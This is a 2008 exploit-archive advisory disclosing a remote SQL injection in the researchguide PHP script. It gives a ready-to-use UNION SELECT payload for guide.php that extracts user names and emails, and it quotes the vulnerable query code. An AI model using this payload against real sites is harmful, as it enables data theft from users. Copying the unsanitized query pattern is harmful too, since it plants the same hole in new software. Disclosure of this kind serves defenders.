researchguide-sql.txt

2008-06-23T00:00:00
ID PACKETSTORM:67585
Type packetstorm
Reporter dun
Modified 2008-06-23T00:00:00

Description

                                        
                                            ` :::::::-. ... ::::::. :::.  
;;, `';, ;; ;;;`;;;;, `;;;  
`[[ [[[[' [[[ [[[[[. '[[  
$$, $$$$ $$$ $$$ "Y$c$$  
888_,o8P'88 .d888 888 Y88  
MMMMP"` "YmmMMMM"" MMM YM  
  
[ Discovered by dun \ dun[at]strcpy.pl ]  
  
################################################################  
# [ researchguide ] Remote SQL Injection Vulnerability #  
################################################################  
#  
# Script site: http://researchguide.sourceforge.net/  
# http://sourceforge.net/projects/researchguide/  
#  
#  
# Vuln: http://site.com/guide/guide.php?id=-1+UNION+SELECT+1,2,concat_ws(char(58),id,name,uniqname,email),4,5,6,7,8,9%20from%20selector/*  
#   
#  
# Bug:  
#  
# ...  
# $query = "SELECT * FROM $guideTable WHERE id=$id";  
#  
# $result = mysql_query ($query)  
# or die ('The query failed!');  
# ...  
#  
########################################################  
# Greetz: D3m0n_DE * sid.psycho * str0ke and otherz.. #  
########################################################  
  
[ dun / 2008 ]   
  
*******************************************************************************************  
`